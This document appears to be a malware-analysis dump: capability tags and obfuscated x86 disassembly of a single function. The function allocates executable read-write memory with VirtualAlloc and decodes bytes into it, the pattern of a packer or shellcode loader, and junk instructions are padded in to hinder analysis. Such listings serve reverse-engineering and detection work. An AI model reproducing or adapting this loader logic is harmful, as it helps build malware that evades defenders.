Function at 0x406ee0
Capabilities:
Allocate or change rwx memory
Encode data using base64
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xb8
add edi, 9
sub edi, 9
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x64], edx
push eax
pop eax
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x70], 0
add ebx, 0x34
push edx
mov edx, eax
sub edx, dword [ebp - 0x10]
pop edx
sub ebx, 0x34
mov dword [ebp - 0x74], 0
add eax, 0x46
add ecx, 0x25
push edx
or edx, ebx
sub edx, 0x3d
pop edx
sub ecx, 0x25
sub eax, 0x46
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x7c], 0
add ecx, 0x61
push esi
shl esi, 0x38
xor esi, dword [ebp - 8]
or esi, eax
and esi, ecx
or esi, eax
pop esi
sub ecx, 0x61
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x84], 0
add eax, 7
push ecx
pop ecx
sub eax, 7
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xa0], 0
cmp dword [ebp - 0x64], 0
je 0x406fe9
cmp dword [ebp - 0x60], 0
je 0x406fe9
cmp dword [ebp - 0x5c], 0
jne 0x406ff5
mov dword [ebp - 0x58], 0
jmp 0x407bb0
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], 0
mov eax, dword [ebp - 0x54]
cmp eax, dword [0x4180c4]
jae 0x40705f
lea eax, [0x41804c]
push edx
pop edx
imul ecx, dword [ebp - 0x54], 0xc
add eax, ecx
mov eax, dword [eax + 4]
cmp eax, dword [ebp - 0x50]
jne 0x407045
lea eax, [0x41804c]
imul ecx, dword [ebp - 0x54], 0xc
add eax, ecx
mov dword [ebp - 0x4c], eax
jmp 0x407066
mov eax, dword [ebp - 0x54]
sub eax, 0x357f6bb9
add eax, 1
add eax, 0x357f6bb9
mov dword [ebp - 0x54], eax
jmp 0x407002
mov dword [ebp - 0x4c], 0
add edi, 0x34
add ebx, 0x3f
push ebx
sub ebx, edx
sub ebx, dword [ebp - 8]
sub ebx, edx
add ebx, esi
xor ebx, 0x34
pop ebx
sub ebx, 0x3f
sub edi, 0x34
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
jne 0x4070ae
mov dword [ebp - 0x58], 0
jmp 0x407bb0
mov eax, dword [ebp - 0x6c]
add edi, 0x2a
sub edi, 0x2a
cmp dword [eax + 8], 0
je 0x4070d8
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax + 8]
mov dword [ebp - 0x58], eax
jmp 0x407bb0
lea eax, [0x40e6c0]
mov ecx, dword [ebp - 0x6c]
add eax, dword [ecx]
mov dword [ebp - 0x68], eax
mov eax, esp
mov dword [eax], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call eax
sub esp, 4
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0x68]
add eax, 0x2f
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [eax + 0x23]
shl eax, 1
add ebx, 0x20
sub ebx, 0x20
mov ecx, dword [ebp - 0x68]
add ecx, 0x2f
shl eax, 2
push edi
push eax
and eax, ecx
add edx, 0x1c
sub edx, 0x1c
xor eax, 0x50
add eax, dword [ebp - 0x18]
and eax, dword [ebp - 0x10]
pop eax
add edi, ebx
pop edi
add ecx, eax
mov dword [ebp - 0x78], ecx
mov eax, dword [ebp - 0x68]
mov eax, dword [eax + 0x23]
shl eax, 1
mov ecx, dword [ebp - 0x68]
mov ecx, dword [ecx + 0x27]
shl ecx, 1
sub eax, 0x8a2b6504
add ebx, 0x4c
sub ebx, 0x4c
add eax, ecx
add eax, 0x8a2b6504
mov ecx, dword [ebp - 0x68]
add ecx, 0x2f
shl eax, 2
add ebx, 0x46
push ebx
pop ebx
sub ebx, 0x46
add ecx, eax
mov dword [ebp - 0x80], ecx
mov eax, dword [ebp - 0x5c]
mov ecx, esp
mov dword [ecx + 4], eax
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
add esi, 0x59
add ebx, 0x3c
sub ebx, 0x3c
sub esi, 0x59
sub esp, 0x10
mov dword [ebp - 0x88], eax
push esi
pop esi
cmp dword [ebp - 0x88], 0
jne 0x4071fa
mov dword [ebp - 0x58], 0
jmp 0x407bb0
mov eax, 0
mov ecx, dword [ebp - 0xb0]
add esi, 0x4c
sub esi, 0x4c
mov edx, dword [0x4180c8]
add ecx, 0xf8d92f6a
sub ecx, edx
push edx
pop edx
sub ecx, 0xf8d92f6a
mov dword [ebp - 0xb4], ecx
mov ecx, dword [ebp - 0x88]
push ebx
add ebx, dword [ebp - 0x10]
xor ebx, dword [ebp - 0xc]
add ebx, 0xb
pop ebx
mov edx, dword [ebp - 0x6c]
mov dword [edx + 8], ecx
mov ecx, dword [ebp - 0x64]
add eax, 2
add esi, 0x14
sub esi, 0x14
sub eax, 2
mov edx, dword [ebp - 0xb0]
sub eax, edx
sub ecx, eax
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x94], 0
push ebx
sub ebx, dword [ebp - 0x10]
shl ebx, 0x3c
sub ebx, dword [ebp - 0x14]
add ebx, edi
or ebx, edi
pop ebx
mov eax, dword [ebp - 0x90]
cmp eax, dword [ebp - 0x5c]
jae 0x407ba7
mov eax, dword [ebp - 0x64]
add esi, 0
sub esi, 0
mov ecx, dword [ebp - 0x90]
add eax, 0xf9691b86
add eax, ecx
sub eax, 0xf9691b86
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x68]
mov ecx, dword [ecx + 0x23]
mov edx, dword [ebp - 0x70]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x20]
add eax, 2
add edi, 0x39
sub edi, 0x39
sub eax, 2
cmp eax, dword [ebp - 0x18]
jae 0x407371
push edx
shr edx, 0x4a
or edx, edi
and edx, eax
and edx, dword [ebp - 0x14]
pop edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ecx + eax*8]
cmp eax, dword [ebp - 0x14]
jne 0x407355
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
shl eax, 3
add esi, 0x11
sub esi, 0x11
add ecx, eax
mov dword [ebp - 0x10], ecx
jmp 0x407378
mov eax, dword [ebp - 0x20]
push ebx
pop ebx
sub eax, 0xc2f23d30
add eax, 1
add eax, 0xc2f23d30
mov dword [ebp - 0x20], eax
jmp 0x4072f4
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
push ebx
push eax
or eax, edi
or eax, ebx
mov eax, edi
sar eax, 0x2e
pop eax
and ebx, eax
and ebx, ecx
pop ebx
mov dword [ebp - 0x74], eax
push edx
add edx, ebx
sub edx, dword [ebp - 0x10]
sub edx, ecx
pop edx
cmp eax, 0
je 0x407562
add esi, 0x13
sub esi, 0x13
mov eax, 0
mov ecx, dword [ebp - 0x74]
add ecx, 6
add edi, 0x57
add edx, 0x61
add ebx, 0xc
push esi
pop esi
sub ebx, 0xc
sub edx, 0x61
sub edi, 0x57
sub ecx, 6
mov ecx, dword [ecx + 4]
add esi, 0x12
sub esi, 0x12
mov edx, dword [ebp - 0x68]
push edx
nop
add esi, 0x11
add esi, 0x52
sub esi, 0x52
sub esi, 0x11
and edx, ecx
pop edx
mov edx, dword [edx + 0x1f]
add edx, 0x45
sub edx, 0x45
mov esi, ecx
xor esi, 0xffffffff
mov edi, edx
and edi, esi
xor edx, 0xffffffff
add ebx, 0x5f
add edi, 0x52
push eax
and eax, dword [ebp - 0x14]
or eax, dword [ebp - 0x14]
pop eax
sub edi, 0x52
sub ebx, 0x5f
and ecx, edx
or edi, ecx
mov ecx, dword [ebp - 0xb0]
mov edx, eax
push ebx
and ebx, 0x2a
or ebx, esi
or ebx, eax
and ebx, 0x2e
sar ebx, 0x60
pop ebx
sub edx, edi
mov esi, eax
sub esi, ecx
add edx, esi
add edx, 0x31
add ecx, 0x5c
nop
sub ecx, 0x5c
sub edx, 0x31
mov ecx, eax
sub ecx, edx
mov dword [ebp - 0xa8], ecx
mov ecx, dword [ebp - 0xa8]
mov edx, dword [ebp - 0x88]
push esi
xor esi, ecx
and esi, ebx
xor esi, 0x1f
pop esi
mov esi, dword [ebp - 0x90]
mov edi, eax
sub edi, edx
mov edx, eax
sub edx, esi
add edi, edx
mov edx, eax
sub edx, edi
sub edx, 0xaa7e96de
add edx, 4
add edx, 0xaa7e96de
push eax
or eax, dword [ebp - 0xc]
or eax, dword [ebp - 0x18]
pop eax
add ecx, 0x1b7ab8ce
sub ecx, edx
sub ecx, 0x1b7ab8ce
mov edx, dword [ebp - 0x88]
mov esi, dword [ebp - 0x90]
mov dword [edx + esi], ecx
mov ecx, dword [ebp - 0x90]
push ecx
pop ecx
sub ecx, 0x9d203168
push ecx
xor ecx, esi
sub ecx, dword [ebp - 0x14]
xor ecx, dword [ebp - 0x10]
xor ecx, dword [ebp - 8]
pop ecx
add ecx, 4
add esi, 0xb
sub esi, 0xb
add ecx, 0x9d203168
mov dword [ebp - 0x90], ecx
mov ecx, dword [ebp - 0x9c]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0x9c], eax
jmp 0x407290
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x68]
mov ecx, dword [ecx + 0x27]
mov edx, dword [ebp - 0x78]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x34], 0
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x2c]
jae 0x407632
add ecx, 0x4f
push esi
sub esi, ebx
and esi, edi
and esi, edi
pop esi
sub ecx, 0x4f
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
add edi, 0x15
add esi, 0x56
push eax
and eax, 0x48
mov eax, dword [ebp - 0x10]
or eax, dword [ebp - 0xc]
or eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x18]
pop eax
sub esi, 0x56
sub edi, 0x15
mov eax, dword [ecx + eax*8]
cmp eax, dword [ebp - 0x28]
jne 0x4075f2
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x24], ecx
jmp 0x407639
add ecx, 0x3e
push eax
pop eax
sub ecx, 0x3e
mov eax, dword [ebp - 0x34]
sub eax, 0x7819ebe5
add eax, 1
add ebx, 0x2f
add ecx, 0x10
sub ecx, 0x10
sub ebx, 0x2f
add eax, 0x7819ebe5
mov dword [ebp - 0x34], eax
jmp 0x407581
mov dword [ebp - 0x24], 0
add edi, 0x21
add eax, 0x49
add ebx, 0x3e
add ebx, 0x38
push eax
xor eax, 0x5a
xor eax, 0x26
xor eax, dword [ebp - 0x14]
xor eax, ecx
sub eax, edi
pop eax
sub ebx, 0x38
sub ebx, 0x3e
sub eax, 0x49
sub edi, 0x21
mov eax, dword [ebp - 0x24]
push esi
or esi, dword [ebp - 0x10]
sub esi, ebx
xor esi, dword [ebp - 0xc]
pop esi
mov dword [ebp - 0x74], eax
cmp eax, 0
je 0x4078a6
mov eax, 0
add esi, 0x49
add edi, 0x46
sub edi, 0x46
sub esi, 0x49
mov ecx, 0xffffffff
add eax, 2
add ecx, 0x43
sub ecx, 0x43
sub eax, 2
mov edx, dword [ebp - 0xa4]
push ecx
add ecx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
mov ecx, esi
pop ecx
mov esi, dword [ebp - 0xb0]
mov edi, eax
add esi, 0x58
add esi, 0x61
push esi
pop esi
sub esi, 0x61
sub esi, 0x58
sub edi, edx
mov edx, eax
sub edx, esi
add edi, edx
mov edx, eax
sub edx, edi
add edx, 0x60
add eax, 0x2a
push esi
pop esi
sub eax, 0x2a
sub edx, 0x60
mov edx, dword [edx]
push edi
and edi, ecx
push edi
pop edi
pop edi
mov esi, dword [ebp - 0xb4]
mov edi, eax
sub edi, esi
push eax
pop eax
add edx, edi
mov esi, dword [ebp - 0x68]
mov esi, dword [esi + 0x1f]
mov edi, edx
xor edi, 0xffffffff
and edi, 0xec596fa0
xor ecx, 0xec596fa0
add eax, 0x5b
add ebx, 0x4e
sub ebx, 0x4e
sub eax, 0x5b
and edx, ecx
mov ebx, esi
push eax
and eax, dword [ebp - 0x14]
and eax, 0x3c
or eax, ebx
add ebx, 0x32
push ebx
xor ebx, edi
sub ebx, dword [ebp - 0x14]
pop ebx
sub ebx, 0x32
pop eax
xor ebx, 0xffffffff
and ebx, 0xec596fa0
push edx
and edx, dword [ebp - 0x18]
xor edx, dword [ebp - 0xc]
sub edx, ebx
and edx, dword [ebp - 0x14]
add edx, esi
pop edx
and esi, ecx
push ebx
or ebx, dword [ebp - 8]
mov ebx, edi
add ebx, edx
pop ebx
or edi, edx
add edi, 0x45
sub edi, 0x45
or ebx, esi
push edi
add edi, dword [ebp - 0x14]
or edi, 0x38
mov edi, dword [ebp - 0x18]
pop edi
xor edi, ebx
push eax
mov eax, dword [ebp - 0x10]
xor eax, dword [ebp - 0xc]
xor eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x14]
pop eax
mov ecx, dword [ebp - 0xb4]
mov edx, eax
sub edx, ecx
sub edi, edx
add esi, 0x47
add eax, 0x33
add eax, 0x2b
sub eax, 0x2b
sub eax, 0x33
sub esi, 0x47
mov dword [ebp - 0xac], edi
add edi, 0x48
push ecx
pop ecx
sub edi, 0x48
mov ecx, dword [ebp - 0xac]
mov edx, dword [ebp - 0x88]
add ebx, 0x26
sub ebx, 0x26
mov esi, dword [ebp - 0x90]
push edx
shr edx, 0xe
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x18]
pop edx
mov dword [edx + esi], ecx
mov ecx, dword [ebp - 0x90]
sub eax, 4
sub ecx, eax
mov dword [ebp - 0x90], ecx
mov eax, dword [ebp - 0xa0]
add eax, 0x554cc1fd
add ecx, 0x26
add edx, 0x1f
sub edx, 0x1f
sub ecx, 0x26
add eax, 1
sub eax, 0x554cc1fd
mov dword [ebp - 0xa0], eax
jmp 0x407290
jmp 0x4078ab
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x68]
mov ecx, dword [ecx + 0x2b]
mov edx, dword [ebp - 0x80]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x48], 0
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x40]
jae 0x407950
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ecx + eax*8]
cmp eax, dword [ebp - 0x3c]
jne 0x4078fb
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x38], ecx
jmp 0x407957
mov eax, 0
add edx, 0x24
push ecx
add ebx, 0x2c
push ecx
add ecx, dword [ebp - 8]
xor ecx, dword [ebp - 0x14]
pop ecx
sub ebx, 0x2c
mov ecx, edx
xor ecx, edi
add ecx, dword [ebp - 0xc]
or ecx, edi
pop ecx
sub edx, 0x24
mov ecx, dword [ebp - 0x48]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
push ebx
mov ebx, ecx
xor ebx, dword [ebp - 0x14]
add ebx, dword [ebp - 0x18]
pop ebx
add edx, ecx
sub eax, edx
mov dword [ebp - 0x48], eax
jmp 0x4078ca
mov dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x7c], eax
cmp eax, 0
je 0x407b3d
mov dword [ebp - 0x98], 0
mov eax, dword [ebp - 0x98]
add edi, 4
add eax, 0x4c
push ecx
and ecx, edi
add ecx, dword [ebp - 0x10]
add ecx, dword [ebp - 8]
pop ecx
sub eax, 0x4c
sub edi, 4
mov ecx, dword [ebp - 0x7c]
nop
cmp eax, dword [ecx + 4]
jae 0x407b16
mov eax, dword [ebp - 0x90]
push ecx
and ecx, dword [ebp - 8]
add esi, 0xf
push ecx
or ecx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
and ecx, edi
add ecx, ebx
pop ecx
sub esi, 0xf
sar ecx, 0x3f
or ecx, dword [ebp - 0x18]
and ecx, esi
pop ecx
mov ecx, dword [ebp - 0x84]
add esi, 0x13
push edx
and edx, ebx
add edx, dword [ebp - 0xc]
sub edx, ebx
pop edx
sub esi, 0x13
movzx eax, byte [ecx + eax]
mov ecx, dword [ebp - 0x94]
mov edx, ecx
add edx, 0x8d6a6894
add edx, 1
sub edx, 0x8d6a6894
mov dword [ebp - 0x94], edx
mov edx, dword [ebp - 0x68]
movzx ecx, byte [edx + ecx + 1]
push edi
sub edi, edx
sub edi, dword [ebp - 0x10]
pop edi
mov edx, eax
xor edx, 0xffffffff
mov esi, ecx
and esi, edx
xor ecx, 0xffffffff
and eax, ecx
push ebx
mov ebx, dword [ebp - 0x14]
add ebx, ecx
and ebx, dword [ebp - 0x10]
pop ebx
or esi, eax
mov eax, esi
mov bl, al
mov eax, dword [ebp - 0x90]
add esi, 0
sub esi, 0
mov ecx, dword [ebp - 0x88]
add esi, 0x44
push edi
mov edi, ebx
mov edi, ecx
pop edi
sub esi, 0x44
mov byte [ecx + eax], bl
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x68]
movzx ecx, byte [ecx]
add ebx, 0x3c
sub ebx, 0x3c
cmp eax, ecx
jne 0x407a9b
mov dword [ebp - 0x94], 0
jmp 0x407aa0
mov eax, dword [ebp - 0x98]
add eax, 0x3d534c61
add eax, 1
add edi, 0x43
sub edi, 0x43
sub eax, 0x3d534c61
mov dword [ebp - 0x98], eax
add edi, 0x10
add ebx, 0x3d
push ecx
add ecx, eax
xor ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x14]
pop ecx
sub ebx, 0x3d
sub edi, 0x10
mov eax, dword [ebp - 0x90]
nop
add eax, 0x1acd250a
add eax, 1
add edx, 0x3f
sub edx, 0x3f
sub eax, 0x1acd250a
mov dword [ebp - 0x90], eax
jmp 0x407972
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x8c]
add ecx, 0x3efbf379
add ecx, eax
push esi
pop esi
sub ecx, 0x3efbf379
mov dword [ebp - 0x8c], ecx
jmp 0x407ba2
mov eax, 0
mov ecx, dword [ebp - 0x90]
add esi, 0x58
nop
sub esi, 0x58
mov edx, dword [ebp - 0x84]
mov bl, byte [edx + ecx]
mov ecx, dword [ebp - 0x90]
mov edx, dword [ebp - 0x88]
mov byte [edx + ecx], bl
mov ecx, dword [ebp - 0x90]
mov edx, eax
sub edx, ecx
mov ecx, eax
push ebx
add ebx, 0x3e
mov ebx, eax
xor ebx, dword [ebp - 0x14]
pop ebx
sub ecx, 1
add edx, ecx
add eax, 0x2b
sub eax, 0x2b
sub eax, edx
mov dword [ebp - 0x90], eax
jmp 0x407290
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x58], eax
push edi
xor edi, eax
shl edi, 0x51
pop edi
mov eax, dword [ebp - 0x58]
add esp, 0xb8
pop esi
pop edi
pop ebx
pop ebp
ret